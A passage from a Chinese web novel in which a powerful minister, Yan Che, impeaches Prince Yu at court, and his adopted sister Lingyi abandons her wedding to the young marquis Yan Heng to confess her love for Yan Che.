爷好归好,可你看看姑娘现在这模样,脸色一点喜色都没有。自从搬回府里离开颜大人,姑娘话少了,整日里神思不属的,哪还有从前半分生动?” “你们越说越离谱了,颜大人可是姑娘的兄长,哪能跟夫君相提并论?” “可他们明明很亲密啊?” “那不一样!” “怎么就不一样了?” 四人各执一词,声音不觉提高了些,竟有些争执起来。 正巧这时,少夫人何氏抱着刚睡醒的儿子衡儿走过来,听到她们的动静,柔声问道:“这是怎么了?大老远就听到你们的声音。” 四人吓了一跳,连忙敛声屏气,齐齐行礼:“给少夫人请安。” 芳菲回道:“回少夫人,没什么,奴婢们就是看着二姑娘近来精神不大好,心里有些着急。” 何氏点点头,并未深究,抱着孩子走进内室。 屋内,只见令颐正对着一本摊在膝头的小册子出神,连她进来都未曾察觉。 直到何氏走近,令颐才慌忙将册子合拢,塞到引枕下。 “嫂嫂。”令颐起身,勉强笑了笑。 何氏在榻边坐下,将咿咿呀呀想往令颐那边扑的衡儿搂稳些,温声问道:“我瞧你近日总是闷闷不乐的,母亲很是担心你。” “可是有什么心事?同嫂嫂说说?” 令颐垂下眼睫:“没什么,可能就是快出嫁了,有些紧张吧。就像以前在同文馆面临大考之前,总觉得心里没底,觉得自己哪里还做得不够好。” 何氏闻言了然一笑:“原来是为这个,这再正常不过了。我当初嫁给你兄长前,也是这般忐忑不安,胡思乱想了好些日子呢。” 她语气轻快地说:“我听说侯府那边对这婚事极为重视,各项流程、细节、规制都按最高的来,可见对你的看重。燕小侯爷更是心急,几次三番想寻机见你,虽于礼不合被劝住了,但东西可没少往这儿送,那份心意是明明白白的。” “我知道。” 令颐轻声应道,目光又飘向了窗外。 这些,她都知道。 何氏看着她,柔声道:“小姑娘总要长大的,迈过这个坎儿,或许日后回过头看,就会发现如今的忧虑都是多余的。” 令颐觉得嫂嫂的话句句在理,温和又通透。 可是,那些话语就像羽毛轻轻拂过心口,并未能真正落在她的心事上。 * 大殿内,金碧辉煌,庄严肃穆。 今日的朝会,大臣们觉得弥漫着一股不同寻常的气息。 因为,从上朝开始,颜首辅从始至终不发一词。 知道他脾性的众人明白,这可不是什么好事。 他们忐忑不安等着,果然,待朝廷议题结束后,颜彻稳步出列。 “臣,有本奏。” 他微微抬首,目光定格在御座之上。 “臣要劾奏禹亲王,在其封地之内,纵容家奴、勾结官府,侵吞民田万亩以上,致使数千百姓流离失所,此其一。” 殿内响起一阵细微的抽气声。 颜彻置若罔闻,继续以一种近乎冷酷的平静,一条一条罗列下去。 从贪墨军饷、私设刑狱,到结交外官、窥探禁中。 桩桩件件,证据确凿。 直到他清晰无比地说出最后两条:“其十七,于封地私开银矿,未经朝廷许可。其十八,私设铸炉,仿制官银,熔铸私钱,意图动摇国本。” “十八大罪,罪罪当诛。臣恳请太皇太后和陛下依律严惩,以正朝纲,以安民心。” 话音落下,整个朝堂陷入了一片死寂,落针可闻。 随即,如同冷水滴入滚油,瞬间炸开了锅! “颜大人,此事、此事是否还需详查?” 一位宗亲出列,脸色煞白:“禹亲王乃皇室贵胄,金枝玉叶,岂可因一面之词定如此大罪?” “正是。颜大人,弹劾亲王非同小可,何况是此等大罪。一动则牵发全身,恐伤国体啊!”另一位大臣急忙附和。 “皇室宗亲,纵有小过,亦当以训诫为主,此乃祖宗旧例,岂能动辄问以极刑?颜大人此举未免太过!” 反对之声此起彼伏。 龙椅上的太皇太后紧抿着唇,目光复杂地看向下方波澜不惊的颜彻。 “颜卿所奏之事,关乎天家颜面,牵扯甚大。禹王纵有不是,亦当念其血脉,慎之又慎。皇帝当以仁孝治国,毋寒了宗亲之心。此事,容后再议吧。” 此言一出,方才那些反对的臣子们仿佛找到了主心骨,纷纷松了一口气。 太皇太后出面,便是这朝堂上最重的砝码,颜彻再权势熏天,难道还能驳了太皇太后的面子不成? “不可。” 轻描淡写的两个字,一瞬间,所有目光都聚焦在颜彻身上。 只见他缓缓抬起头,脸上没有丝毫畏惧或惶恐。 他再次拱手,声音比之前更加清晰冷硬:“陛下和太皇太后仁慈,乃天下之福。可,国法如山,岂可因亲废法?” “禹王之罪,证据确凿,若今日因循旧例,轻轻放过,则国法何以昭示天下?朝廷威信何存?” 他微微侧身,目光如实质般扫过刚才跳得最凶的几位宗室和朝臣。 被他目光扫到的人无不感到颈后一凉,下意识地后退了半步。 “至于太皇太后所虑动摇国本,臣以为,正因要固我国本,才更需铲除蠹虫,清朗乾坤。否则,今日有禹王私铸,明日便可有效仿者拥兵自重。届时,动摇的便不只是颜面,而是真正的江山社稷。” 他掷地有声:“北衙禁军、京城戍卫、乃至京畿三道府兵,皆已整肃完毕,随时可应对任何不测。臣,一片赤心,请陛下和太皇太后圣裁。” 他没有明说,但每一个字都是在说:军权,已尽在我手。 那些原本还想反驳的武将们,此刻都死死闭上了嘴,冷汗涔涔而下。 他们比文臣更清楚,颜彻口中那轻描淡写的整肃完毕意味着什么。 那是,对整个大周朝绝对的掌控。 三军皆被他掌控,甚至他手上还有效忠于他的赤羽军首领秦放。 整个大殿鸦雀无声,比之前任何一刻都要死寂。 众人再看向那殿中的绯色身影,只觉得一股寒意从脚底直窜头顶。 此人,已经超出了他们对臣子的认知。 他根本不像是一个人,而是一柄出了鞘的凶刃,冰冷,锋利,只为达成目的,毫无转圜的余地。 颜彻说完,珠帘之后,再无声息传出。 * 这日,春光明媚,令颐与嫂嫂何氏一同坐在廊下绣花。 细密的针脚在绸缎上游走,何氏手下的一朵缠枝莲渐渐成形,栩栩如生。 而令颐手中的绣绷上,那对鸳鸯却绣得歪歪扭扭,色彩也配得杂乱,怎么看都透着一股心浮气躁。 “这里,针脚要再密一些,由外向内收线,颜色过渡便自然了。” 何氏放下自己的活计 ,指点着令颐的针法。 令颐依言试了试,却仍不得要领,反而差点扎到手指。 她有些泄气地放下绣绷,目光怔怔地落在那些彩线上。 若是往常,她定要撅着嘴跑到哥哥面前,扯着他的衣袖,将这讨厌的针线活计抱怨一番,说不定还能借此躲了这功课。 可如今…… 她眼神一黯,心头涌上一股难以言说的空落。 何氏察觉她的异样,温声道:“我未出阁时,也常如你这般,对着嫁衣发呆,心里满是迷茫,不知前路如何,未来夫婿性情怎样,姑舅是否慈爱。只觉得眼前雾蒙蒙一片。” 她说着,脸上泛起一丝温柔的笑意,“你看,如今我和你兄长,衡儿也这般大了,日子不也过得和和美美?有些事啊,并非一定要事前都想得明明白白。循着日子往下过,或许走着走着,幸福也就来了。” 令颐安静地听着,手指无意识地绞着丝线。 她觉得嫂嫂的话听起来很有道理,温婉通透,是过来人的体悟。 可心底却有一个微弱却固执的声音在反驳:不是这样的。 有些事,怎能不想明白? 若是糊涂着走下去,走错了路,错过了真正重要的东西,那该怎么办? 可她看着何氏温柔恳切的脸,看着一旁摇篮里咿呀学语的小侄子,终究什么也没能说出口。 第70章 第70章送她出嫁?不如杀了他…… 出嫁的日子最终定在了三月二十。 正是草长莺飞的时节,还赶上难得一遇的黄道吉日。 等待的这段日子,令颐觉得格外漫长而沉闷。 她已经太久、太久没有见到哥哥了。 自从与爹娘团聚,搬回姜府后,颜彻仿佛就从她的世界里彻底消失了。 他从未主动派人来问过她一句,更没有只言片语的消息传来。 她几次三番想找个由头回颜府去看看,哪怕只是远远瞧上一眼,却总被母亲虞氏以各种理由拦下。 不是要核对婚礼流程,就是要试穿新改的嫁衣,或是挑选搭配凤冠的首饰,琐事繁多,让她抽不出半分空闲。 这日,她独自坐在闺房窗边,对着窗外抽芽的垂柳发呆。 忽然,璎珞脚步轻快地跑进来,神色急切。 “姑娘姑娘,颜府那边的赵总管来了!” 令颐几乎是瞬间从椅子上弹了起来:“赵总管来了吗!” 她什么都顾不上,提裙便小跑着奔向正厅。 到了厅前,只见父亲姜朔正与赵福忠叙话。 令颐兴冲冲地踏入厅内,目光急切地掠过赵福忠身后,却并未见到她想见的人。 “赵总管,哥哥呢?他怎么没一起来?” 赵福忠忙躬身行礼,脸上堆着惯常的恭敬笑容。 “二姑娘,老奴是奉大人之命,特来为您添妆的。” 他侧身示意,身后几名小厮抬进来几只沉沉的樟木箱子。 “颜府赠给二姑娘江南云锦二十匹,赤金红宝头面一套,和田玉如意五柄,古玩摆件十套……” 令颐看着那些华丽的东西,心里有种说不出来的滋味。 样样价值不菲,挑不出错处,规整得如同礼单上最标准的范本。 可是,没有一件是她偏爱的样式。 以往,无论她喜欢什么,颜彻总能细心察觉到,并在意想不到的时候给她惊喜。 而这些物件,仿佛只是履行义务的馈赠,与她认知里那个会将天下最好的东西都捧给她的哥哥截然不同。 令颐怔怔地看着,心头漫上巨大的困惑和一丝委屈。 这不是哥哥的风格,这些也不像是给她的东西。 姜朔也察觉出异样,微微蹙眉,问赵福忠:“浔之近来可是遇到了什么难处?我总觉得他近来似有心事。” 赵福忠脸上的笑容未变,腰却弯得更低了些。 “姜大人明鉴,大人近来确是不易。朝中事务繁杂,宫中与宗亲那边反对之声甚嚣尘上,大人每一步都很艰难。” 他语焉不详,却足以让人想象其中的腥风血雨。 姜朔面露忧色:“若有需要我帮忙之处……” 赵福忠立刻接口:“大人吩咐了,请您安心,一切他自有主张。您还得忙着送二姑娘出嫁,大人不愿麻烦您。” “大人交代说,还有一事。” 他顿了顿,像是有什么难言之隐。 “大人还让老奴转告,二姑娘出嫁那日,他……恐怕无法前来出席了。” “什么?!” 此言一出,不仅是令颐,连姜朔都震惊当场,几乎以为自己听错了。 颜彻有多在意这个妹妹,整个京城无人不知,无人不晓。 她的及笄礼,他办得比公主册封还隆重,她平日稍有不适,他能撇下满朝文武疾驰回府。 如今她人生中最重要的出嫁之日,他竟会缺席? “这、这是为何?”姜朔难以置信地问。 赵福忠垂下眼皮,避开了令颐瞬间苍白的面容和惊痛的目光,重复着那套早已备好的说辞。 “如今朝局不稳,风波未定,血流得已经够多了。大人此时,实在不宜在如此公开的场合露面,恐生事端,也怕冲撞了二姑娘的喜气。” 话已带到,礼已送到,赵福忠不再多留,恭敬地行礼告退。 令颐呆立在厅堂中央,望着那几箱冰冷而陌生的“添妆”,只觉得一股寒意从四肢百骸蔓延开来。 哥哥不仅不来,连他送来的东西,都变得如此陌生。 姜朔看出女儿的怔忡与失望,心中暗叹,放柔声音招手道:“令令,来。” 令颐抬起眼,委屈巴巴地走到父亲跟前,用指尖擦了擦悄然湿润的眼角。 姜朔轻轻拍了拍她的肩,温声安慰:“你浔之兄长或许是近来朝务实在太繁忙了,脱不开身。但他心里一定是惦念着你的。你瞧,这不是还特地遣人送来这么多添妆之礼?” “你如今是大姑娘了,马上就要出嫁,成为别人家的媳妇,要学着坚强些,可不能因为这些小事难过,知不知道?” 令颐吸了吸鼻子,强压下喉间的哽咽,低低应了一声:“女儿知道了。” 姜朔见她这般懂事,心中微软。 “令令乖,放心,爹和娘一定会为你打点好一切,风风光光地把你嫁出去,绝不叫我儿受半分委屈。” 令颐没有再说话,朝前一步,轻轻投入父亲温暖宽厚的怀抱中,将泛红的眼眶藏进父亲的衣襟里。 …… 回到颜府,赵福忠未敢歇息,即刻向颜彻回话。 阴冷潮湿的牢狱之中,颜彻正坐在一张太师椅上,姿态闲适。 他对面,镣铐加身的禹王瘫坐在草堆上,衣衫褴褛,却仍强撑着几分皇室贵胄的倨傲。 颜彻又恢复了从前那种令人胆寒的状态。 面容平静无波,周身散发着一种近乎非人的压迫感。 他慢条斯理地用一方雪白丝帕擦拭着手指,仿佛刚才触碰了什么不洁之物。 禹王并未如寻常囚犯般愤怒嘶吼,只是发出一阵低哑的冷笑,带着彻骨的嘲讽. “呵……这么多年了,颜浔之,你终究还是对本王动手了。” 颜彻缓缓抬眸,声音温和:“是啊,一晃眼,你我都到了这个岁数了,时光真是残忍。” 他微微前倾身体,烛光在他深邃的眼中跳跃,却照不进丝毫温度:“殿下可还记得,当年你才学平平,于你父亲面前不得青眼。而我,不过略得了几句神童的虚名,便引得你妒火中烧,寝食难安。” 他的语气平稳得像在叙述一件与己无关的旧事。 “就为这点可笑的嫉妒,你便构陷我父亲和长姐,将他们送入黄泉。” “王爷,您说,这笔债,我该不该讨?又该如何讨?” 禹王脸色灰败,嘴唇哆嗦着,却发不出一个音。 颜彻轻轻向后靠去,姿态优雅,仿佛一位耐心的先生在看愚钝的学生。 “其实,我早就能让你死上千百回。留你至今,不过是因为你的命,你的罪,你的死,恰好还能为我铺就最后一级台阶罢了。” “王爷,您总算还有这点用处,当不必妄自菲薄。” 他字字句句温和有礼,却比任何酷刑都更令人绝望。 赵福忠垂手侍立在一旁阴影里,大气不敢出。 他觉得,自二姑娘离去后,大公子身上那点仅存的温度也随之消散了。 如今的颜彻,冷血无情,毫无波澜。连带着整个颜府,都如同一座坟墓。 怪不得他今日看段大夫都郁郁寡欢,时常感叹一身岐黄之术再无 用武之地,收拾药箱去外头医馆寻些事做了。 待颜彻审问完毕,起身走出牢房,慢条斯理地净手时,赵福忠才敢上前,低声回话:“大人,添妆的物事,已按您的吩咐,送至姜府了。” 颜彻慢条斯理地净手,淡淡“嗯”了一声。 “她有什么反应?” 赵福忠喉头一哽,谨慎回道:“二姑娘自是极想念您的,见到老奴,第一句便是问您为何没去。” 颜彻沉默着,将那方丝帕丢入一旁的火盆中。 帕子被火焰迅速吞噬,化作灰烬。 赵福忠看着他那冷硬的侧影,心中五味杂陈。 他终究没忍住,脱口而出道:“大人,您真的不去送二姑娘一程吗?” 话一出口,赵福忠便悔了。这简直是句彻头彻尾的废话。 果然,颜彻只是垂眸,看不清眼中情绪,周身的气息却愈发冰寒。 赵福忠心底霎时一片清明,甚至带了几分自嘲。 让大公子去给二姑娘送嫁?亲眼看着她走向别人? 他还不如指望大公子立刻剃度出家来得更实际些。 * 颜彻在朝堂之上掀起的腥风血雨,终究是不可避免地传到了淮容侯府。 暖阁内,淮容侯燕平昌听着心腹汇报近日朝中巨变,尤其是几位世交重臣接连倒台的消息,面色愈发阴沉。 他猛地将茶盏顿在案上,发出一声刺耳的脆响。 “好一个颜浔之,真真是个疯子!竟真敢将刀锋对准世族根基,他这是要掘断我等传承百年的命脉!” 一旁的燕珩也蹙了蹙眉。 经过西北历练,比起从前那个只知走马章台的少年,他对朝局风向也多了几分敏锐。 “父亲,依儿子看,此人并非一时兴起。他隐忍多年,步步为营,如今发难,怕是早已存了彻底清洗朝堂、重塑权势格局的心思。这一切,只怕都在他谋划之中。” “谋划?哼,不过是条得了势便猖狂的疯狗!” 燕平昌语带不屑,强自镇定道,“至少他还不敢轻易动我们燕家,你爹我手上终究还握着些实在的兵权,不是那些任他揉捏的文官。” “再说,如今他的宝贝妹妹马上就要嫁进我们侯府,有这层姻亲关系在,他总不至于连自己妹妹的姻缘和前程都不顾吧?” 燕珩闻言,脸色并未舒展。 他正色道:“父亲,我求娶令颐,只因她是令颐,与我心意相通,并非为了什么拿捏颜浔之的把柄。此事还请您切勿混为一谈。” 燕平昌像是听到了什么极其幼稚的笑话,上下打量了几眼自己这个日益有主见的儿子,鼻子里发出一声冷哼。 “糊涂!天真!你以为这桩婚事只是你小儿女之间的情情爱爱?这是两大府邸的联姻,牵扯的是无数人的身家性命。” “从你决定娶她的那一刻起,你就已经站在了棋盘上,成了局中人。” 他站起身,声音沉冷。 “如今风暴将至,你想独善其身?想过你的安生日子?颜浔之若胜,你我或可借势,颜浔之若败,你以为他的政敌会放过我们这门亲戚?这早已不是你想不想或是愿不愿的事了!” 燕珩迎着自己父亲锐利的目光,俊朗的脸上却毫无退缩之意。 他沉默片刻,眼神愈发坚定,清晰而有力地回道:“朝堂纷争,权力倾轧,儿子或许无法全然避开。” “但无论如何,我一定会护令颐周全。这是我燕珩给她的承诺,与她是谁的妹妹,无关。” 他一字一句道。 “好罢,好罢,就算为父多嘴了。” 燕平昌见他如此油盐不进,嗤笑一声“天真”,挥了挥手,不再多言。魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 70-73 第71章 第71章哥哥来……抢亲?…… 三月二十,黄道吉日,宜嫁娶。 这一日,是姜家女儿出嫁淮容侯府的大日子。 这桩婚事,早已成为京城街头巷尾最引人瞩目的谈资。 茶楼酒肆间,人们津津乐道着这段堪称传奇的姻缘。 “听说啊,那姜家本是戴罪之身,眼看就要没落到底了,侯府当初可是硬生生退了婚的。” “谁知峰回路转,人家姜家转眼又起来了!更奇的是,那燕小侯爷对姜家二姑娘竟是一见钟情,非卿不娶!” “真是佳偶天成,一段美谈啊。” 此时的姜府,却无暇顾及外间的议论,早已沉浸在一片忙碌的喜庆之中。 天未亮时,令颐便被叫起床。 沐浴、开脸、绞面,一系列繁琐隆重的礼仪依次进行。 全福夫人为她梳头,口中念着:“一梳梳到尾,二梳白发齐眉,三梳儿孙满地……” 母亲虞氏亲自为她穿上层层叠叠的嫁衣。 正红色的浮光锦上,金线绣出的龙凤呈祥图案璀璨夺目,映得满室生辉。 令颐动了动脖子:“这衣服好沉啊。” 虞氏笑女儿是是小女儿家的娇气,安抚道:“喜服的规格自然不一样,忍忍吧,一辈子就这一回。” 她将一柄缀满珍珠宝石的赤金鸾凤冠戴在她头上。 凤冠沉甸甸的,流苏垂落,华美不可方物。 却几乎要把她的脖子压垮。 喜娘看着妆成后的令颐,眼中满是惊艳,啧啧赞叹。 “哎哟哟,老婆子我操持了半辈子婚事,从未见过这般标致的新娘子!真真是颜如渥丹,明艳照人,天上的仙女儿也不过如此了!” 令颐扶着脖子,看向铜镜。 镜中映出一张倾城容颜,胭脂水粉恰到好处地勾勒出她的精致五官,朱唇一点,眉眼如画。 华服珠冠之下,美丽得近乎不真实。 然而,令颐看到了自己木讷的脸。 她一言不发,长长的睫毛垂下,似乎能遮掩了眸底所有的情绪。 仿佛眼前这极致的华美,都与她隔着一层看不见的纱。 吉时到,鼓乐喧天。 令颐依礼拜别父母高堂,看着母亲虞氏不舍的泪水,她心中酸涩翻涌。 姜朔忍着哽咽道:“好了,快上花轿吧,别误了时辰。” 姜徽羽将她背着送上八抬大轿,轿帘垂下的那一刻,她眼中的姜府,以及府中亲人含泪的面容,都被隔绝在外。 花轿起,仪仗开道,锣鼓唢呐声响彻云霄,一路吹吹打打,绕着京城最繁华的街道游城。 路旁挤满了看热闹的百姓,惊叹声、艳羡声此起彼伏。 “快看!新娘子这排场!” “尚书府的嫡小姐,嫁的还是侯府,真是好福气啊!” “听说新娘子美若天仙,燕家小侯爷仪表不凡,真是羡煞旁人啊!” 今日风极大,吹得轿帷猎猎作响。 轿夫们步履维艰,低声抱怨着:“这风邪门了,真难抬!” 一阵狂风猛地卷来,倏然掀起了那绣着鸳鸯戏水的大红盖头一角。 视线骤然开朗。 令颐几乎是本能地、急切地透过那刹那的缝隙向外望去。 目光掠过攒动的人头,掠过熟悉的街景,搜寻着,期盼着…… 仿佛在寻找一个绝不可能出现的身影。 然而,入目皆是陌生与喧嚣。 没有他。 哥哥,真的没有来。 最后一丝光亮湮灭,盖头缓缓落下,重新将她的世界隔绝在一片窒闷的鲜红之中。 也掩盖了她瞬间苍白失色的面容和眼底的黯然。 花轿终于抵达淮容侯府。 在下轿的那一刻,许是心神恍惚,许是冠服沉重,令颐脚下猛地一个踉跄,险些摔倒。 “哎哟!少夫人当心!” 一旁的媒婆眼疾手快,赶忙扶稳她,声音带着夸张的讨好:“这路稳当着呢,您踩稳咯!” 令颐怔怔的,没有回应。 跌的那一瞬,她的心神仿佛跟着晃了一下。 侯府正厅,宾客云集,红烛高照。 淮容侯燕平昌与夫人陶氏端坐于高堂之上,接受众人的道贺。 “一拜天地——” “二拜高堂——” 司仪高亢的声音在厅堂回荡。 令颐如同一个 失魂的木偶,由着喜娘搀扶,机械地完成每一个动作。 周遭的一切喧嚣、祝贺、目光,都仿佛隔得很远。 “夫妻对拜——” 她缓缓转过身,与面前一身大红喜服、身姿挺拔的燕珩相对。 就在她弯腰俯拜的那一刹那,一阵心慌莫名袭来。 她不由自主微微扭过头,视线透过珠帘的缝隙,猛地投向厅外。 只见那光影交错的人群之外,庭院月洞门旁,一道孤峭的身影不知何时悄然伫立。 他一袭白衣,与满堂炽烈的红形成刺眼的对比。 就那样静默地立在风中,隔着喧嚣的人海,隔着喜庆的锣鼓,遥遥地望着厅内,望着正在对拜的他们。 目光深寂,如同终年不化的雪原。 “这是……颜大人?” “颜大人不是忙着朝政吗,怎么出现在这里?” “是啊,若是送嫁,也该是在姜府送嫁。” 宾客中响起一阵压抑不住的窃窃私语,所有人的目光聚焦在这位不请自来的权臣上。 淮容侯燕平昌面色一沉,强压着不悦走上前:“颜大人大驾光临,有失远迎。不知此时前来,所为何事?” 颜彻气定神闲:“我身为新娘子的兄长,自然是只是想来看一眼妹妹拜堂。” 燕珩察觉到令颐身体的细微震颤,一步上前,将她护在自己身后。 目光迎向颜彻:“颜大人若是作为娘家人送嫁,此刻应在姜府。若是来贺喜赴宴,还请依礼入席候着。如此立于堂前,恐于礼不合。” 颜彻的视线终于缓缓从令颐身上移开,落在燕珩身上。 “别急,我看一眼便走。” 说罢,目光再次深深攫住令颐。 两人隔着整个喧闹的喜堂,遥遥对视。 空气仿佛在这一刻凝固,一种无声却激烈的波动在两人目光中疯狂碰撞,撕扯。 燕珩看出他绝无主动离去之意,面色一凛,冷声道:“颜大人,可是需要晚辈再请您一遍?” 他话音未落,早已安排在侧的侯府府兵已然悄无声息地围拢上前。 侯府准备周全,像是早已猜到有人会搅和婚事。 颜彻目光扫过两侧逼近的府兵,脸上那点冰冷的笑意反而加深了些许。 他最终什么也没说,只是深深地看了令颐一眼。 然后,转身,一步一步走向大门外。 风吹起他雪白的衣袂,背影孤直而决绝。 他的一只手随意背在身后,手指微微弯曲着,形成了一个等待牵握的姿势。 就像小时候无数次那样,他总会这样伸出手,等着那个小小的软软的女孩跑过来,信任地将自己的手塞进他的掌心。 令颐茫然地看着那个熟悉的背影。 看着那个无声的邀请手势,看着他一步步走出大门,最终彻底消失在门口熙攘的街角拐弯处。 仿佛有什么至关重要的东西,也随之彻底抽离了她的世界。 司仪重新撑起场面:“小侯爷,少夫人,咱们还是继续拜堂吧。” 陶氏也赶紧笑着打圆场:“是啊是啊,别误了吉时,快继续吧。” 燕珩握住令颐的手,声音温柔:“令颐,就差最后一拜了。” 令颐缓缓抬起头,看着眼前俊朗而诚挚的燕珩,又看向高堂上面色各异的侯爷夫妇,以及周围宾客强装欢笑的脸 满堂刺目的喜字和华丽绣球,这个礼堂如此热闹,如此符合她曾经向往过的所有喜庆和喧嚣。 她知道自己喜欢热闹,喜欢一切开开心心的氛围。 可是现在,站在这片为她而设的极致热闹中央,她只觉得窒息般的排斥。 她一点也不喜欢这里。 那么,她喜欢的,是什么? 催促声再次传来,带着焦急与不解:“少夫人?快拜堂吧。” 周围的宾客也开始窃窃私语,声音越来越大:“怎么回事?怎么停住了?” “新娘子这是怎么了?” “是啊,颜大人刚走,这就不拜了?” 燕珩握紧她的手,急切询问:“令颐,你怎么了?” 令颐仿佛隔绝了周围所有的喧嚣。 刹那间,脑海中全是哥哥清冷孤寂的身影,和他最后的眼神。 耳边轰然回响起的,全是他温柔的呢喃,耐心教导她的声音。 还有那句,她一直未能参透的话。 “令颐,这最后的课,你得自己学会。” 如同惊雷炸响在脑海,嗡鸣声瞬间剥夺了她所有的听觉和思考能力。 不对。 不对。 她喜欢的,是哥哥。 她想不顾一切拉住他的手,想对她撒娇,想每天都看见他。 她想和他在一起,想要占据他所有的目光,想要他只对自己一个人温柔。 她想……嫁给他。 她喜欢哥哥。 非常非常喜欢。 “不——” 一声呐喊从她喉中冲破出来,瞬间击碎了所有的喧闹。 “我不嫁!” 满堂宾客哗然失色。 所有人都惊骇地看着她,如同看着一个骤然疯魔的人。 令颐却什么也顾不上。 她猛地甩开燕珩的手,一把扯下头上沉重的凤冠,任由珠翠散落一地。 然后,像是用尽了毕生的力气,推开眼前惊愕的人群,跌跌撞撞地朝着那个身影消失的方向冲去! “令颐!”身后是燕珩痛彻心扉的呼喊。 “拦住她!” “新娘子跑了,快追啊!” “这、这成何体统!” 侯爷暴怒的呵斥,陶氏惊慌的尖叫,还有宾客们难以置信的喧哗。 无数声音交织成一片,她却充耳不闻,不管不顾,只是拼命地奔跑。 红色的嫁衣在风中翻滚,如同燃烧的火焰。 她跑过长长的街道,撞开了无数行人,发髻一点点散乱。 她却毫无所觉,心脏在胸腔里疯狂地跳动,几乎要炸开。 终于,在一个僻静的街角转弯处,她看到了那抹白色的身影。 风吹拂着他如墨的长发和雪白的衣袂。 他静静站在那里,背对着她,却仿佛早已料定她会追来,在这里等了很久很久。 他缓缓转过身,容颜依旧清冷绝世,目光沉静地落在她狼狈不堪的身上。 “成婚之日,妹妹怎么跑出来了?” 令颐眼眶瞬间通红,一步步走向他,积蓄已久的泪水汹涌而出。 “我……我不知道,哥哥,我控制不住……我的脚,它自己就跑来了……” 她的声音因为奔跑和哭泣而断断续续,带着全然的迷茫与无助。 少女哭得不能自已,眼泪彻底冲花了脸上精致的妆容,露出底下苍白而真实的皮肤。 “哥哥……我不想要那桩婚事,我不想嫁给燕珩……” 颜彻静静地看着她,轻声问:“为什么?” “因为,我不喜欢燕珩,我不想要嫁给他。” 她抬起泪眼,用尽了全身的勇气,看着他那双深不见底的眼眸。 “哥哥,我可以嫁给你吗?” 风吹起两人的衣袂,一红一白,交织缠绕。 第72章 第72章“我只想嫁给哥哥”…… 颜彻看着妹妹泪眼婆娑的脸。 “令颐,你想清楚了吗?你若选了我,可能会面临很多困难。” “我不怕!” 少女的泪水还挂在睫毛上,眼神却是飞蛾扑火般的炽热。 “只要能和哥哥在一起,我什么都不怕!” 她用力扑进颜彻的怀里,紧紧抱住了他。 颜彻神情怔了一瞬。 随即,他也抱紧了她。 力道之大,仿佛要将她纤细的骨骼揉碎,嵌入自己的骨血之中,永不分离。 令颐感受着哥哥怀抱熟悉的温度,满心都是明白自己心意的甜蜜。 谁知,颜彻缓缓道:“抱歉,令颐,我现在不能答应你。” 令颐猛地从他怀里抬起头,焦急又不解:“为什么哥哥?你不相信我吗?我已经决定好了,无论如何都要和你站在一起!” 她急切地寻找着佐证,眼神慌乱:“就像师姐和师兄那样! 哪怕前方是万丈深渊,是千难万险,只要两个人在一起,就什么都不怕!” 颜彻轻轻摇头,眼底是化不开的阴霾。 他抬手,极轻地拭去她脸颊的泪痕,动作缱绻。 “这次的困难,比你师兄师姐所要面对的要难上千万倍。稍有不慎,我很可能会失去所有一切,包括性命。” 他凝视着她的眼睛,仿佛要望进她的灵魂深处。 “而且,令颐,你并不了解我。你看到的,从来都不是完整的我。” 令颐彻底怔住。 “哥哥,我不明白……” 颜彻低哑道:“你不是总问我,为何从不愿与你提起我的过去吗?” “因为,任何知晓我全部过去的人,最终都会选择离我而去,无一例外。” 这句话像一把冰冷的匕首,猝不及防地刺入令颐火热的心口。 她浑身冰凉,所有的话语都堵在了喉咙里,难以置信地望着他。 颜彻深深地看着她震惊而无措的模样,极轻地叹了口气。 “若等你想好了,看清了所有可能面临的事,还依旧坚持今日的选择,再来找我吧。” 说完,他缓缓松开了怀抱,转身离去。 白色的衣袂在风中划出一道孤绝的弧度。 他一步步融入长街的阴影之中,没有再回头。 一旁街角的阴影里,匆匆赶来的燕珩正僵立在原地。 他将方才那一幕尽收眼底,包括令颐毫不犹豫的扑抱,包括颜彻那句冰冷的拒绝,以及令颐此刻失魂落魄、仿佛整个世界轰然倒塌的模样。 他的表情一点点凝固,最终化为一片死寂的灰白。 颜彻走后,令颐还失魂落魄地留在原地。 她缓缓转过身,看到了不远处的燕珩。 他站在那里,眼神复杂地望着她,有痛楚,有关切,更多的是一种了然的悲伤。 令颐心中一痛,走上前,声音带着未散的哭腔:“燕珩,对不起……我……我不能嫁给你了。” 燕珩沉默了片刻,目光从她哭花的脸,移到她空荡荡的身后。 “你喜欢别人,是吗?” 他声音干涩得几乎不像他自己的:“你喜欢,颜大人?” 令颐闭上眼,重重地点了点头:“是。” 燕珩看着她坚定的模样,所有挽留的话都显得十分无力。 他扯了扯嘴角,想挤出一个笑容,却失败了。 “好。我知道了。” 他沉默了片刻,缓缓道:“其实,有件事一直想告诉你,当初在宫中初次遇见,我并非全然无意,甚至可以说是,是故意接近你的。” 他抬眼看向她,目光带着一丝自嘲。 “当时圣旨来时,我听说那个曾被我家退婚的姑娘入了宫,不知怎的,鬼使神差,我便也说要跟着去瞧瞧。” “起初,或许只是觉得有趣,觉得是个一欺负就会哭鼻子的小姑娘。后来才发现,你那么不一样,那么……” 他似乎在寻找合适的词:“可爱灵动,像一颗小小的太阳,照亮了很多灰暗的地方。” “我就越来越上瘾,越来越放不下,心里只有一个念头,就是想娶你,想把你永远留在身边。” 令颐摇着头:“别说了,燕珩,是我对不起你,是我辜负了你的一片真心。” 燕珩从怀中取出了一枚玉佩,塞到她手里。 玉佩色泽深沉,一看便知并非凡品。 “这枚玉佩,是我燕家世代传给嫡子的,据说能趋吉避凶,陪我度过了很多次生死难关。当年我离开京城前一晚,本想去找你,把它给你的。可惜,没送出去。” 令颐如同烫手一般,慌忙拒绝:“不,不,燕珩,我不能收你的东西!” 燕珩的手固执地停在空中,看着她抗拒的模样,眼底最后一丝光亮也寂灭了。 他忽然笑了笑,笑容里是无尽的苍凉。 “若不要,便扔了吧,或是随你怎么处置都好。” “令颐,记住,无论你如何选择,无论你嫁与不嫁,在我燕珩这里,此生只认你一个妻子。” 说完,他转身离去。 * 姜家二小姐于婚礼之上当场逃走,其后又公然悔婚一事,在京城掀起了滔天巨浪。 世人众说纷纭,揣测与流言甚嚣尘上。 有人嘲笑侯府颜面扫地,有人猜测其中必有惊天隐情,还有人说此事一开始就是颜首辅设的局,为了报复侯府昔日的所作所为。 各种版本光怪陆离,将姜家推至风口浪尖。 这期间,姜朔与虞氏心急如焚,数次将令颐唤至跟前试图开导她。 姜朔叹道:“令令,婚事并非儿戏,你可知此举将燕家与侯府置于何地?又将你自己置于何地?” 